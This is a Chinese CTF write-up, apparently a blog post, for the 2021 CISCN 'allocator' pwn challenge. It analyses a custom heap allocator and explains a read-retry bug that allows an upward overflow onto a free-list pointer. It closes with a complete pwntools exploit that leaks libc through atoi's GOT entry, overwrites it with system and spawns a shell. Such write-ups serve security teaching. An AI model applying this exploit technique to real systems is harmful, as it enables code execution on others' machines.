2021 ciscn day2 pwn allocator

本文探讨了一种内存管理漏洞,通过控制free链表指针实现内存碎片操纵,利用溢出技巧无限上溢覆盖指针,并利用show/edit劫持功能,最终展示如何利用这些漏洞进行地址泄露和代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
保护看起来还算比较友好。

看程序

首先是初始化
在这里插入图片描述在0x13140000申请了一块空间,地址放在bss,下面是这个空间的大小0x1000,再下面是一个不知道啥0.

在这里插入图片描述然后显然进入一个循环。
显然只能循环10次。

进去直接就是一个输入,然后对输入进行一个处理。

在这里插入图片描述首先要求我们的第五个是(
倒数第一个是;
倒数第二个是)
然后括号中间的拿出来跑一下atoi,然后返回回去。

在这里插入图片描述
下面这个函数对我们的前四个字节进行了算法。
这个算法呢把我们的前四个字节都拆成了二进制的样子,而且要注意是反过来的。

在这里插入图片描述
然后下面就是我们平常说的增删改查。

所以我们的输入格式应该是举个例子 gain(0);

然后我们去看四个功能。

gain
在这里插入图片描述
可以看到一个输入大小之后取地址,把地址放到chunk的数组里面,也就是bss里面。

然后一个函数是一个输入函数,根据我们的chunk地址跟输入的size大小。

在这里插入图片描述取地址这个函数,首先对size进行一个处理,跟16字节对齐,然后额外加一个16字节。

再进一个函数。
在这里插入图片描述看一下mmap_16看一下那个地方放着的能不能用,不能的话进入一个循环找一下有没有能用的。

在这里插入图片描述输入函数看起来平平无奇。

edit
在这里插入图片描述
就是平平无奇编辑函数。

show
在这里插入图片描述平平无奇输出函数。

在这里插入图片描述free

清空指针,且有一个处理函数
在这里插入图片描述把现在free的chunk的第二个QWORD写上mmap_16,然后mmap_16写上现在free的chunk地址。
所以其实就是把free了的每个chunk的第二个QWORD构成了一个单链表,然后头在mmap_16.

所以整个逻辑就很清晰了,我们就是在0x13140000中自己伪造了,或者说构建了一个chunk的申请释放的一个过程。

总结来说,申请的时候首先去free的链表中查找,看有没有大小一摸一样的,有就拿过来。
没有的话就从最下面再开一块。

free的时候就是直接插进链表中。

那么问题来了,漏洞在哪?
我们的想法是首先RELRO没有开,那么我们其实可以去控制got表,然后假如我们通过溢出啊啥的控制一个free链表中的指针,那么我们就可以加以利用。

因为没有开pie,那么如果我们可以控制那个指针,我们初步想法可以直接控制got表,然后泄露地址输出,然后再劫持它。
但是因为我们的每次输入都会有回车,直接去控制got表的话无法直接泄露,所以我们就直接控制bss上面的chunk的地址,写上atoi的got表,通过show跟edit函数对他进行一个劫持。

那么问题又来了,怎么就能劫持一个free链表的指针?

经过仔细分析,我们把目光转到那个可以输入的函数。

在这里插入图片描述
在用read读取的时候,假如我们溢出了,我们读的时候溢出到了0x13141000之外,那么read会因为读入的地址未定义可能不允许我们读取而返回-1,这个时候已经能读多少读了多少,但是仍然算没读,返回-1,进行重读。

但是我们发现返回-1之后,我们读的地址就会-1,那么会这样循环一直到我们这个数据正好都读进去,那么我们会发现,我们可以无线的上溢,那么就可以去覆盖free的指针了。

调一下看一下。

在这里插入图片描述首先是第一次read

在这里插入图片描述失败返回-1

在这里插入图片描述但是这个时候其实已经输入了。

在这里插入图片描述然后不停循环,直到能完全输入。

在这里插入图片描述
exp

from pwn import*

r = process("./allocator")

context.log_level = "debug"

elf = ELF("./allocator")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")

def gain(index, size, content):
    r.sendlineafter(">> ", "gain" + "(" + str(index) + ");")
    r.sendlineafter("10100110010111101001011011001110: ", str(size))
    r.sendafter("00101110011101101010011000101110011101101111011011000110: ", content)

def edit(index, content):
    r.sendlineafter(">> ", "edit" + "(" + str(index) + ");")
    r.sendafter("00101110011101101010011000101110011101101111011011000110: ", content)
    

def show(index):
    r.sendlineafter(">> ", "show" + "(" + str(index) + ");")


def free(index):
    r.sendlineafter(">> ", "free" + "(" + str(index) + ");")

atoi_got = elf.got['atoi']

gain(0, 0xe00, 'a' * 0xe00)  # 0
gain(1, 0xb0, 'a' * 0xb0)  # 1
free(0)
free(1)


gain(4, 0x1e8, p64(0x4043a0) + 'c' * 0x1df + "\n")  # 4

gdb.attach(r)
pause()
gain(5, 0xb0, 'a' * 0xb0)
gain(6, 0x131410c0,  p64(0x131410e0) + p64(0) + p64(0) + p64(0) + p64(0x4040b8) + "\n")
show(2)
libc_base = u64(r.recv(6) + '\x00\x00') - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']

edit(2, p64(system_addr) + p64(0x401186))

r.sendlineafter(">>", "gain(/bin/sh);")
r.interactive()

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值